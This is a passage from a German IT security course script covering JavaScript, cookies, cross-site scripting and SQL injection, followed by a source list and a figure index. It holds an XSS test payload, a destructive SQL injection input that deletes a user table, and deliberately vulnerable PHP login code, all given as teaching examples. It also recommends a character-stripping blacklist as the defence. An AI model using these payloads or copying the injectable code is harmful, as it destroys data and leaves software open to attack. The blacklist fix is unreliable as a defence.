SRC=javascriptdetect.js></SCRIPT> Tag 3. JavaScript als Teil eines bestehenden HTML-Tags, um Parameter dynamisch anzupassen. Die erste Variante ist die klassiche Art und Weise, JavaScript zu verwenden. Als Beispiel soll die Erkennung dienen, ob ein Browser JavaScript unterstützt oder nicht. Diese ist wie folgt zu implementieren: <html> <head> <title>JavaScript Test</title> <SCRIPT LANGUAGE="JavaScript"> <!-document.write("Ihr Browser verwendet JavaScript."); document.write("Deaktivieren Sie die Option JavaScript"); document.write("und aktualisieren Sie die Anzeige."); // --> </SCRIPT> 72 <NOSCRIPT> Ihr Browser unterstuetzt kein JavaScript oder wurde deaktiviert. </NOSCRIPT> </head> <body bgcolor="#FFFFFF"> </body> </html> Unterstützt der Browser JavaScript, so erscheint der Text in <SCRIPT>, ansonsten jener in <NOSCRIPT>. Abbildung 7.1: Netscape mit aktiviertem JavaScript Die zweite Variante ist nur eine Abwandlung der ersten. Hier wird einfach der Quellcode, welcher normalerweise in <SCRIPT></SCRIPT> plaziert wird, in eine Datei ausgelagert. Die letzte Möglichkeit, also die Einbettung in bestehende HTML-Tags, wird häufig bei der dynamischen Parametrisierung von Attributen verwendet, z.B. um bei einem Button zwischen zwei Ansichten hin- und her zu schalten, je nachdem ob sich die Maus ber dem Button befindet oder nicht. Eine solche Funktion wird folgendermassen implementiert : <HTML> <HEAD> <TITLE>Animierter Button (JavaScript)</TITLE> </HEAD> <BODY> <A HREF="mailto:myname@myprovider.ch" onMouseOver=’button.src="email_select.gif"’ onMouseOut =’button.src="email.gif"’> <IMG name="button" src="email.gif" border="0"> </A> </BODY> </HTML> Beim Laden der Seite wird das Startbild email.gif angezeigt. Fährt man nun den Mauszeiger über das Bild, so wechselt JavaScript das Bild in email_select.gif und zwar mit der Funktion onMouseOver. Verlässt die Maus den Bereich des Bildes wieder, so restauriert JavaScript das alte Bild email.gif. Dies erledigt die Funktion onMouseOut. Das nachfolgende Beispiel zeigt links das originale Bild, wie es nach dem Laden der Seite dargestellt wird. Rechts daneben das modifizierte Bild, wenn sich die Maus im Bereich des Bildes befindet. 73 Abbildung 7.2: Mit JavaScript animierte Bilder Java und JavaScript sind wie schon gesagt, strikte voneinander zu trennen. 7.2 Bedrohung Die Bedrohung, welche von JavaScript ausgeht, ähnelt sehr stark jener von Java und dessen Applets. Grundsätzlich ist die Verwendung von solchen Scripts sicher, wenn nicht die verschiedenen Implementationen immer noch Fehler enthielten. Leider ist die Anzahl dieser Fehler aktuell noch erschreckend gross. Ein sehr eifriger Sammler von solchen Implementationsfehlern ist Georg Guninski (http://www.guninski.com). Auf seiner Homepage findet man nicht nur die Liste der aktuell bekannten Fehler, sondern gleichzeitig auch diverse Demonstrationen, welche den jeweils angesprochenen Fehler aufzeigen bzw. ausnutzen. Der Implementationsfehler View-Source von Netscape soll nun im folgenden detaillierter dargestellt werden Der View-Source Bug versetzt JavaScript in die Lage, die eigentlich vertrauliche Seite about:config zu durchsuchen und mittels Cookies (Siehe nächste Kapitel) an einen Server zu übermitteln. About:config als URL-Adresse in Netscape/Firefox eingegeben generiert eine Seite, in der sämtliche Einstellungen aufgelistet werden, inklusive der Email Identität, den Servern und dem verschlüsselten Passwort! Abbildung 7.3: about:config in Aktion mail.pop_password = N7v55J6DXNA== mail.pop_name = myname@myprovider.ch mail.smtp_name = myname mail.identity.username = Hans Muster network.hosts.pop_server = pop.myprovider.ch Ein JavaScript-Beispiel, welches obigen Bug ausnutzt, kann so ohne weiteres die EmailIdentität des aktuellen Internetbenutzers ausfindig machen. Nach einer kurzen Suchzeit (die Seite ist doch recht lang), erscheint eine Dialogbox mit dem gesuchten Inhalt. 74 Abbildung 7.4: Resultat der unerlaubten Suche Ähnliche Spiele liessen sich auch mit der URL about:globalhistory durchführen, welche eine Auflistung der besuchten Internetseiten (inklusive alle Bilder) bereitstellt. 7.3 Massnahmen Die einfachste und auch effektivste Massnahme, um sich vor JavaScript zu schützen, besteht darin, die Unterstützung im Browser zu deaktivieren. Beim Browser Firefox ist diese unter BEARBEITEN Menupunkt EINSTELLUNGEN zu finden. 75 Abbildung 7.5: Firefox JavaScript Einstellung Abbildung 74 : Firefox JavaScript Einstellung Microsofts Internet Explorer stellt die Optionen ebenfalls in einem Dialog unter ANSICHT Menupunkt INTERNETOPTIONEN... dar. Die eigentliche JavaScript-Option (Allgemein SCRIPTING) ist aber erst unter SICHERHEIT Auswahl ANGEPASST zu finden. Abbildung 7.6: Internet Explorer JavaScript Optionen 76 Kapitel 8 Cookies 8.1 Technologie Bei der Benutzung von Cookies hinterlegt eine Webside Informationen im Browser des Internetbenutzers persistent. Diese Informationen können beim nächsten Besuch der Webside vom Webserver wieder abgefragt und weiter verwendet werden. Somit lassen sich Web-Seiten persönlich gestalten bzw. eine einmal eingegebene Konfiguration wieder restaurieren. Entwickelt wurde diese Technologie von der Firma Netscape, welche auch die Referenz online publiziert. Der Browser speichert die vom Webserver gesendeten Informationen lokal auf der Festplatte. Je nach verwendeter Software werden die Cookies an unterschiedlichen Orten im Dateisystem plaziert. Der Browser Firefox benutzt dazu eine einzelne Datei, die je nach Betriebssystem folgendermassen heisst : UNIX cookies MacOs MagicCookie Windows cookies.txt Der Internet Explorer von Microsoft verwendet für die Cookies gleich ein ganzes Verzeichnis, welches sich in der Regel im Benutzerprofil unter C:\Dokumente und Einstellungen befindet. Jede Informationseinheit sprich Cookie wird in einer eigenen Datei gesichert. Die Namen der einzelnen Dateien folgt nachstehender Namenskonvention: IhrName@Domain.txt Nun ein Beispiel, welches die Theorie verständlicher machen soll Abbildung 8.1: Beispiel http://www.cookiecentral.com/cookie_js14.htm Angenommen man benutzt den Browser Firefox, so wird in der Datei cookie.txt eine Eintragung vorgenommen. Dies lässt sich leicht verifizieren, indem man die Datei cookie.txt in einem Editor öffnet. # Netscape HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html 77 # This is a generated file! Do not edit. www.cookiecentral.com FALSE / FALSE 952940272 visits 1 Abbildung 77 : Datei Cookie.txt Von der Webside www.cookiecentral.com wurde also ein Cookie mit Namen visits gesetzt, welches den Wert 1 aufweist. Die gespeicherten Informationen lassen sich aber auch anders anzeigen, indem man nämlich als URL folgenden Text im Browser eingibt JavaScript:alert(document.cookie); und ENTER drückt. Abbildung 8.2: Kontrolle von Cookie-Inhalten Besucht man diese Webside als Vergleich mit dem Internet Explorer, so findet man eine neue Datei mit Namen IhrName@www.cookiecentral.com.txt. Auch diese Datei lsst sich im Editor öffnen und anschauen. visits 1 www.cookiecentral.com/ 0 1879512192 29330648 4153988288 29257222 * 8.2 Bedrohung Cookies sind keine Bedrohungen im Sinne, dass Ihre Daten und Programme auf dem Computer gefährdet sind. Sie entsprechen eher elektronischen Fussspuren. Websides, welche Cookies benutzen, speichern lokal ihre Statusinformationen und können bei einer späteren Rckkehr des Internetbenutzers wieder ausgelesen werden. Die Anonymität des Internetbenutzers ist das Thema, welches hier im Vordergrund steht. So lsst sich zum Beispiel jedem Besucher einer Webside automatisch eine eindeutige Identifikation zuweisen, welche lokal gespeichert wird. Besucht dieser Kunde dieselbe WebSide ein weiteres Mal, so kann dies anhand der Identifikation erkannt werden. Informationen ber Kundenverhalten lassen sich so auf sehr einfache Art und Weise gewinnen. Zudem sind die lokal gespeicherten Informationen im Klartext abgelegt und für jedermann am Computer lesbar. Ein Chef kann so zum Beispiel nachsehen, welche Websides seine Mitarbeiter im Laufe der Zeit besucht haben. 78 8.3 Massnahmen Schutzmassnahmen gegenber Cookies sind bei allen gebruchlichen Browsern implementiert. Mozilla stellt diese unter BEARBEITEN Menupunkt EINSTELLUNGEN im Punkt ADVANCED dar : • ALLE COOKIES AKZEPTIEREN Erlaubt die Benutzung von Cookies ohne Wenn und Aber und von beliebigen Servern. • NUR AN DEN URSPRÜNGLICHEN SERVER ZURÜCKGESENDETE COOKIES AKZEPTIEREN Erlaubt die Benutzung von Cookies, aber nur falls diese von der im Cookie genannten Webside stammen. • COOKIES DEAKTIVIEREN Deaktiviert die Cookies komplett. • WARNMELDUNG VOR DEM AKZEPTIEREN VON COOKIES Bei jeder Webside, welche Cookies verwenden möchte, wird eine Warnmeldung angezeigt. Somit kann der Benutzer individuell entscheiden, ob er das Cookie akzeptieren oder verweigern will. Abbildung 8.3: Firefox Einstellungen 79 Auch der Internet Explorer bietet Optionen an, die den Gebrauch der Cookies einschränken lassen. Sie sind unter ANSICHT Menupunkt INTERNETOPTIONEN... Titel ERWEITERT zu finden. Abbildung 8.4: Spezielle Cookies-Einstellungen bei IE 80 Kapitel 9 Cross-Side-Scripting Mit Web 2.0 wandert immer mehr Applikationslogik von lokal installierten Programmen weg in Richtung Web. So braucht man nicht mehr unbedingt ein lokal installiertes Word zum Schreiben von Dokumenten, sondern kann online mit http://docs.google.com diese gleich im komplett im Web erstellen und speichern. Diesem Wandel einher geht auch eine Neuausrichtung von Computerviren. Anstelle von Programmen, werden nun Datenübertragungen attackiert. Als Begriff hierfür wurde Cross-SideScription (Abkürzung XSS) definiert. Eine sehr ausführliche Abhandlung zu diesem Thema ist auf der deutschen Wikipedia Seite1 zu finden. 9.1 Technologie Bei Web 2.0 Applikationen werden rege Daten zwischen dem lokal arbeitenden Browser und dem für die Applikation zuständigen Server ausgetauscht. Abbildung 9.1: Web 2.0 Browser - Server Datentransfer Browser Der lokale Browser ist für die Darstellung der gelieferten Daten zuständig. In der Regel werden diese zusätzlich lokal aufbereitet, um die Antwortzeiten zu optimieren und das Handling zu verbessern. Als Basis für die lokalen Scripts 1 http://de.wikipedia.org/wiki/Cross-Site_Scripting 81 dienen die bereits besprochenen Technologien ActiveX, VB, VB-Script, Java und JavaScript. Server Der Server verarbeitet die Daten gemäss der gewählten Logik, z.B. eine Textverarbeitung. Die Programmlogik kann in .Net, Java, PHP, Ruby oder einer anderen Web-fähigen Technologie implementiert werden. 9.2 Bedrohung Ausgehend von obiger Abbildung sind nun zwei Angriffsvektoren denkbar. Browser Die eingehenden Daten bestehend aus HTML/XML, JavaScript und den eigenen Programmdaten werden beim Empfang manipuliert. Das Ziel dabei, den Browser und die lokale Aufbereitsungslogik zu torpedieren. Server Man manipuliert die Daten, welche an den Server geschickt werden. Dies stört die Programmlogik auf dem Server. 9.2.1 Browserbeispiel [GET Parameter werden ohne Prüfung in die Seitendarstellung übernommen, Wikipedia arbeitet mit POPUP <script>alert("XSS")</script>] 9.2.2 Serverbeispiel Im Juni 2006 machte der Grossverteiler COOP mit einem peinlichen Datenleck2 von sich reden. Nach einer erfolgreichen Anmeldung für eine der neu beworbenen Kreditkarte, konnte man die in der URL stehende, eigentlich nur für die eigene Person gedachte ID, z.B. ID=1433, in eine beliebig andere Zahl ändern. Falls sich bereits jemand mit der anderen ID beworben hatte, konnte man die Daten dieser Person ohne Probleme auslesen. Der Programmierer hatte schlicht vergessen, bei der Anzeige von Daten zu kontrollieren, ob die gelieferte ID auch wirklich jener der aktuell angemeldeten Person entspricht. Oder, das wäre die empfohlene Vorgehensweise gewesen, die ID gar nie zum Client sichtbar auszuliefern. 9.3 Massnahmen Als Anwender kann man sich vor XSS fast nicht schützen. Einzige Möglichkeit ist, die lokale Scriptsprache (z.B. JavaScript - Siehe früheres Kapitel) zu deaktivieren. Dann arbeiten aber keine Web 2.0 Applikationen mehr. Nein, hier muss der Programmierer in die Pflicht genommen werden. Sämtliche Daten sind vor der Nutzung zu kontrollieren. Sei es im Browser, wie auch auf dem Server. 9.4 Zukunft Die Bedrohung durch XSS wird in Zukunft stark zunehmen. Zum einen da viel mehr Programme als Web 2.0 erstellt werden.Zum anderen durch die Nutzung von Frameworks (z.B. .Net), welche dem Programmierer viele Routinearbeiten abnehmen. Weisst ein Framework nun ein XSS-Lücke auf, sind alle damit erstellen Programme betroffen. 2 http://www.tagesanzeiger.ch/dyn/news/wirtschaft/636206.html 82 Kapitel 10 SQL-Injection 10.1 Technologie SQL injection beschreibt den Vorgang, bei dem anstelle des erwarteten Wertes oder Textes vollständiger und gültiger SQL-Code eingegeben wird. Dieser SQL-Code wird zusätzlich zum eigentlich programmierten Programmcode ausgeführt. 10.2 Bedrohung Hier ein Beispiel mit HTML- und entsprechendem SQL-Code. <form action="/mylogon.php" method="post"> Userid <input name="name" type="text" size="20" maxlength="20" /> Password <input name="kennwort" type="password" size="20" maxlength="20" /> <input class="button" type="submit" value="logon" /> </form> Und der dazu gehörende PHP-Code. if ( array_key_exists( ’name’, $_POST)) { $benutzername = trim( $_POST[ ’name’ ]); } if ( array_key_exists( ’kennwort’, $_POST)) { $kennwort = trim( $_POST[ ’kennwort’ ]); } $mysql = "select intuserid from tblusers \ where vchrname like ’$benutzername’ and vchrpwd like ’$kennwort’;"; Ein findiger Benutzer könnte nun folgendes ausprobieren. Anstelle des Passwortes gibt er folgenden Text ein. foobar’; delete * from tblusers; -Foobar ist ein willkürlich gewählter Text und kann auch weggelassen werden, was einem leeren Passwort entspricht. Diese Eingabe wird direkt vom Angreifer mit ’; abgeschlossen. Damit entsteht ein gültiger SQL -Code. Der Weg ist nun frei, um einen oder mehrere eigene SQL-Befehle einzubringen - die eigentliche SQL-Injection beginnt. Hier im Beispiel wird versucht, alle Benutzer aus der Tabelle zu löschen. Falls das Delete Recht gesetzt wurde, könnte sich anschliessend niemand mehr anmelden. Der Abschluss mit – zeigt an, dass der nachfolgende Text, den der Programmierer eigentlich ausführen wollte, als Kommentar zu behandeln ist. Damit wird keine Fehlermeldung aufgrund des unvollständigen SQL-Kommandos ’; angezeigt. 83 10.3 Massnahmen Eine Abwehr gegen solche Angriffe ist einfach zu realisieren. Der Ansatz besteht darin, das Manipulieren des eigentlich gedachten SQL-Codes zu unterbinden. Aufbauend auf dem Beispiel müsste man also die Zeichen ’ (Hochkomma), ; (Strichpunkt) und – (Kommentar) unterbinden. $benutzername = str_replace( ";", "", $benutzername); $benutzername = str_replace( "’", "", $benutzername); $benutzername = str_replace( "--","", $benutzername); $kennwort = str_replace( ";", "", $kennwort); $kennwort = str_replace( "’", "", $kennwort); $kennwort = str_replace( "--","", $kennwort); Eine andere Vorsichtsmassnahme wäre die Nutzung von Stored Procedures. Die Werte wären dann die Parameter eines spezifischen Aufrufes und nicht mehr Teil einer oder mehreren generischen SQL- Befehlen. 84 Anhang A Quellenverzeichnis http://scan.coverity.com In collaboration with Stanford University, Coverity is establishing a new baseline for software quality and security in open source. Under a contract with the Department of Homeland Security, we apply the latest innovations in automated defect detection to uncover some of the most critical types of bugs found in software. http://www.heise.de/security/description Security Portal der Heise Zeitschriften Verlag GmbH & Co in Deutschland http://www.virus-radar.com The project "Virus radar on-line" serves for monitoring and statistic analysis of computer infiltrations spread via electronic mail. http://www.wikipedia.com Wikipedia is a multilingual, web-based, free content encyclopedia project. The name Wikipedia is a portmanteau of the words wiki (a type of collaborative website) and encyclopedia. Wikipedia’s articles provide links to guide the user to related pages with additional information. http://www.bsi.de Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat hierbei eine besondere Aufgabe: Wir sind der zentrale IT-Sicherheitsdienstleister des Bundes. Durch die Grundlagenarbeit im Bereich der IT-Sicherheit übernehmen wir Verantwortung für unsere Gesellschaft und sind damit eine tragende Säule der inneren Sicherheit in Deutschland. http://www.av-test.org AV-Test.de ist ein Projekt der Arbeitsgruppe Wirtschaftsinformatik am Institut für Technische und Betriebliche Informationssysteme der Otto-von-Guericke-Universität Magdeburg in Zusammenarbeit mit der AV-Test GmbH. Unser Team hat mehr als 15 Jahre Erfahrung im Bereich der IT-Sicherheit. Wir führen jedes Jahr mehr als 2.000 Einzeltests von Anti-Viren- und Anti-SpywareSoftware, Personal Firewalls sowie verwandter Produkte im Auftrag von Herstellern und Zeitschriften durch. 85 Abbildungsverzeichnis 1.1 Virenimpfung - Quelle «Information Week» Heft 21/1998 Seite 88 . . . . . 5 2.1 Übersicht der Angriffe und deren Bedrohungen 8 3.1 3.2 3.3 3.4 3.5 3.6 3.7 3.8 3.9 3.10 3.11 Phising Email an PostFinance Kunden . . . Phishing Website mit UBS Look . . . . . . PostFinance - Information . . . . . . . . . . Speicherproblem . . . . . . . . . . . . . . . . ICMP Timestamp Struktur . . . . . . . . . ICMP Timestamp Reply Struktur . . . . . . Windows Update on Windows 2003 Server WSUS Administrationsbackend . . . . . . . Arbeitsstation mit Konfigurationsschutz . . MacOsX Software-Aktualisierung . . . . . . RedHat Network . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 14 15 16 16 16 17 17 18 18 19 4.1 4.2 4.3 4.4 4.5 4.6 4.7 4.8 4.9 4.10 4.11 4.12 4.13 4.14 4.15 4.16 4.17 4.18 4.19 4.20 4.21 4.22 4.23 4.24 4.25 4.26 4.27 4.28 AV-Test Statistik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Magazin c’T Heft 4/2000 Seite 209 basierend auf einer Studie des BSI www.virus-radar.com complete List Year 2005 . . . . . . . . . . . . . . «Overwrite» vs. «Append» Computerviren . . . . . . . . . . . . . . . . . Melissa Macrovirus - Wirkfunktion . . . . . . . . . . . . . . . . . . . . . Startvorgang eines IBM kompatiblen Computers . . . . . . . . . . . . . CIH Virus Signatur . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Quelle : Tages Anzeiger vom 5. Mai 2000 Seite 2 . . . . . . . . . . . . . ILOVEYOU Email . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Ausgabe des VisualBasic-Scripts . . . . . . . . . . . . . . . . . . . . . . Macrowarnung in Microsoft Office . . . . . . . . . . . . . . . . . . . . . Office 2007 Dateiendungen . . . . . . . . . . . . . . . . . . . . . . . . . Outlookzugriff zulassen und Zeitdauer . . . . . . . . . . . . . . . . . . . Office Sicherheitsstufen . . . . . . . . . . . . . . . . . . . . . . . . . . . Auszug aus der Online-Hilfe von Office 2000 . . . . . . . . . . . . . . . Auszug aus der Online-Hilfe von Office 2003 . . . . . . . . . . . . . . . Ursprung der Infektion . . . . . . . . . . . . . . . . . . . . . . . . . . . . Infiziertes Word-Dokument «List.doc» . . . . . . . . . . . . . . . . . . . Netbus Client-Server Modell . . . . . . . . . . . . . . . . . . . . . . . . . EMail mit Attachement . . . . . . . . . . . . . . . . . . . . . . . . . . . Netbus «remote control» . . . . . . . . . . . . . . . . . . . . . . . . . . . 19.06.2001 00:0 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . . 19.06.2001 12:00 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . . 20.06.2001 00:00 Quelle caida.org . . . . . . . . . . . . . . . . . . . . . . RPC-Service failed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Hoax Beispiel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Artikel (www.heise.de/ct) . . . . . . . . . . . . . . . . . . . . . . . . . . . Quelle c’T 2000, Heft 4 Seite 210 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 22 23 24 25 26 27 28 29 29 31 32 33 35 36 37 38 39 40 41 41 43 44 44 45 46 47 47 86 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.29 Microsoft Instant Messenger Wurm . . . . . . . . . . . . . . . . . . . . . . . 48 5.1 5.2 5.3 5.4 5.5 5.6 5.7 5.8 5.9 5.10 5.11 5.12 5.13 Film im lokal installierten Windows Media Player . . . . . . . . . . ActiveMovie - Komponente im Internet Explorer . . . . . . . . . . . ActiveX-Objekt Installation . . . . . . . . . . . . . . . . . . . . . . . ActiveX Beispiel Schach . . . . . . . . . . . . . . . . . . . . . . . . . Zusammenspiel Office und ActiveX . . . . . . . . . . . . . . . . . . . Lockseite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Automatische Installation neuer ActiveX-Objekte in der Fusszeile Bestätigte Überweisung in Quicken . . . . . . . . . . . . . . . . . . Internetoptionen IE v5 . . . . . . . . . . . . . . . . . . . . . . . . . . Warnung bei unbekanntem Zertifikat . . . . . . . . . . . . . . . . . Add-On Menu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . IE 7 ohne aktiven Add-Ons . . . . . . . . . . . . . . . . . . . . . . . Sicherheitslücke im ActiveX-Control von CR64Loader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 52 53 54 55 56 56 57 58 59 60 61 62 6.1 6.2 6.3 6.4 6.5 6.6 6.7 6.8 6.9 6.10 Java Runtime Konzept . . . . . . . . . . . . . . . . . . Yellow Net Startbildschirm . . . . . . . . . . . . . . . Yellow net in MacOs . . . . . . . . . . . . . . . . . . . «Hello World» Applet . . . . . . . . . . . . . . . . . . . Java «Sandbox» . . . . . . . . . . . . . . . . . . . . . . Ausgelagerte virtuelle Maschine in Java 2 Plattform Firefox Einstellungen . . . . . . . . . . . . . . . . . . . Internet Explorer . . . . . . . . . . . . . . . . . . . . . Erweiterte Java-Einstellungen IE . . . . . . . . . . . Benutzerdefinierte Sicherheitseinstellungen für Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 64 65 65 66 67 68 69 69 70 7.1 7.2 7.3 7.4 7.5 7.6 Netscape mit aktiviertem JavaScript . . Mit JavaScript animierte Bilder . . . . . about:config in Aktion . . . . . . . . . . Resultat der unerlaubten Suche . . . . . Firefox JavaScript Einstellung . . . . . Internet Explorer JavaScript Optionen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 74 74 75 76 76 8.1 8.2 8.3 8.4 Beispiel http://www.cookiecentral.com/cookie_js14.htm Kontrolle von Cookie-Inhalten . . . . . . . . . . . . . . . Firefox Einstellungen . . . . . . . . . . . . . . . . . . . . Spezielle Cookies-Einstellungen bei IE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 78 79 80 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.1 Web 2.0 Browser - Server Datentransfer . . . . . . . . . . . . . . . . . . . . 81 87